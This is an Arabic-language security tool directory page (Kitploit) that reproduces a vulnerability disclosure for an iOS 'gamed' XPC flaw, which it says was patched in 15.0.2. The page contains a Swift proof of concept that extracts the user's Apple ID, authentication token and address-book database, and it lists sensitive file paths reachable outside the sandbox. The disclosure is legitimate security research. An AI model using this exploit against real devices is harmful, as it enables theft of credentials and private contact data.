Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
ios-gamed-0day — استغلال gamed في iOS (تم إصلاحه في 15.0.2) | Kitploit
أدوات/GitHubGitHub/illusionofchaos/ios-gamed-0day
تصعيد الامتيازاتأمان iOSتحليل الثغرات الأمنيةالاستغلالجمع المعلوماتأمن الجوال
GitHubillusionofchaos/ios-gamed-0day

ios-gamed-0day

استغلال gamed في iOS (تم إصلاحه في 15.0.2)

عرض المستودع
436814منذ 4 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الموقع الإلكتروني

استغلال ثغرة gamed في iOS (تم إصلاحها في 15.0.2)

تحديث: قامت Apple بإصلاح هذا بهدوء في iOS 15.0.2 دون أي اعتراف عام أو إشادة.

يمكن لأي تطبيق مثبّت من متجر App Store الوصول إلى البيانات التالية دون أي مطالبة من المستخدم:

  • البريد الإلكتروني لحساب Apple ID والاسم الكامل المرتبط به
  • رمز مصادقة Apple ID يسمح بالوصول إلى نقطة نهاية واحدة على الأقل من نقاط النهاية على *.apple.com نيابةً عن المستخدم
  • وصول قراءة كامل لنظام الملفات إلى قاعدة بيانات Core Duet (تحتوي على قائمة جهات اتصال من Mail وSMS وiMessage وتطبيقات المراسلة التابعة لجهات خارجية، وبيانات وصفية حول جميع تفاعلات المستخدم مع هذه الجهات (بما في ذلك الطوابع الزمنية والإحصائيات)، بالإضافة إلى بعض المرفقات (مثل الروابط والنصوص))
  • وصول قراءة كامل لنظام الملفات إلى قاعدة بيانات Speed Dial وقاعدة بيانات Address Book بما في ذلك صور جهات الاتصال وبيانات وصفية أخرى مثل تواريخ الإنشاء والتعديل (لقد تحققت للتو على iOS 15 وهذا غير قابل للوصول، لذلك لا بد أنه تم إصلاحه بهدوء)

فيما يلي إثبات مفهوم قصير.

root@kitploit:~
let connection = NSXPCConnection(machServiceName: "com.apple.gamed", options: NSXPCConnection.Options.privileged)!
let proxy = connection.remoteObjectProxyWithErrorHandler({ _ in }) as! GKDaemonProtocol
let pid = ProcessInfo.processInfo.processIdentifier
proxy.getServicesForPID(pid, localPlayer: nil, reply: { (accountService, _, _, _, _, _, _, _, utilityService, _, _, _, _) in
	accountService.authenticatePlayerWithExistingCredentials(handler: { response, error in
		let appleID = response.credential.accountName
		let token = response.credential.authenticationToken
	}

	utilityService.requestImageData(for: URL(fileURLWithPath: "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"), subdirectory: nil, fileName: nil, handler: { data in
		let addressBookData = data
	}
}

كيف يحدث ذلك:

  • خدمة XPC com.apple.gamed لا تتحقق بشكل صحيح من صلاحية com.apple.developer.game-center
  • حتى إذا كان Game Center معطلاً على الجهاز، فإن استدعاء getServicesForPID:localPlayer:reply: يعيد عدة كائنات وكيل XPC (GKAccountService, GKFriendService, GKUtilityService, إلخ).
  • إذا كان Game Center ممكّنًا على الجهاز (حتى لو لم يكن ممكّنًا للتطبيق في App Store Connect ولا يحتوي التطبيق على صلاحية com.apple.developer.game-center)، فإن استدعاء authenticatePlayerWithExistingCredentialsWithHandler: على GKAccountService يعيد كائنًا يحتوي على Apple ID الخاص بالمستخدم وDSID ورمز مصادقة Game Center (الذي يسمح بإرسال طلبات إلى https://gc.apple.com نيابةً عن المستخدم). كما أن استدعاء getProfilesForPlayerIDs:handler: على GKProfileService يعيد كائنًا يحتوي على الاسم الأول والأخير لحساب Apple ID الخاص بالمستخدم، واستدعاء على يعيد كائنًا يحتوي على معلومات حول أصدقاء المستخدم في Game Center.

في صفحة برنامج Apple Security Bounty تُقيَّم هذه الثغرة بمبلغ 100,000 دولار (وصول واسع للتطبيق إلى بيانات حساسة تكون محمية عادةً بمطالبة TCC أو صندوق حماية المنصة. يشمل الوصول إلى «البيانات الحساسة» الحصول على وصول واسع (أي قاعدة البيانات الكاملة) من جهات الاتصال).

تنزيل الأداة
getFriendsForPlayer:handler:
GKFriendService
  • حتى إذا كان Game Center معطلاً، ولم يكن ممكّنًا للتطبيق في App Store Connect ولا يحتوي التطبيق على صلاحية com.apple.developer.game-center، فإن استدعاء requestImageDataForURL:subdirectory:fileName:handler: على GKUtilityService يسمح بقراءة ملفات عشوائية خارج صندوق الحماية (sandbox) الخاص بالتطبيق عن طريق تمرير عناوين URL للملفات إلى تلك الطريقة. من بين الملفات (على سبيل المثال لا الحصر) التي يمكن الوصول إليها بهذه الطريقة ما يلي: /var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist - يحتوي على ذاكرة التخزين المؤقت لـ MobileGestalt /var/mobile/Library/CoreDuet/People/interactionC.db - يحتوي على قائمة جهات اتصال من Mail وSMS وiMessage وتطبيقات المراسلة التابعة لجهات خارجية، وبيانات وصفية حول تفاعل المستخدم مع هذه الجهات (بما في ذلك الطوابع الزمنية والإحصائيات) /var/mobile/Library/Preferences/com.apple.mobilephone.speeddial.plist - يحتوي على جهات الاتصال المفضلة وأرقام هواتفهم /var/mobile/Library/AddressBook/AddressBook.sqlitedb - يحتوي على قاعدة بيانات دفتر العناوين الكاملة /var/mobile/Library/AddressBook/AddressBookImages.sqlitedb - يحتوي على صور جهات اتصال دفتر العناوين
  • قد يسمح استدعاء cacheImageData:inSubdirectory:withFileName:handler: على GKUtilityService بكتابة بيانات عشوائية إلى موقع خارج صندوق الحماية الخاص بالتطبيق.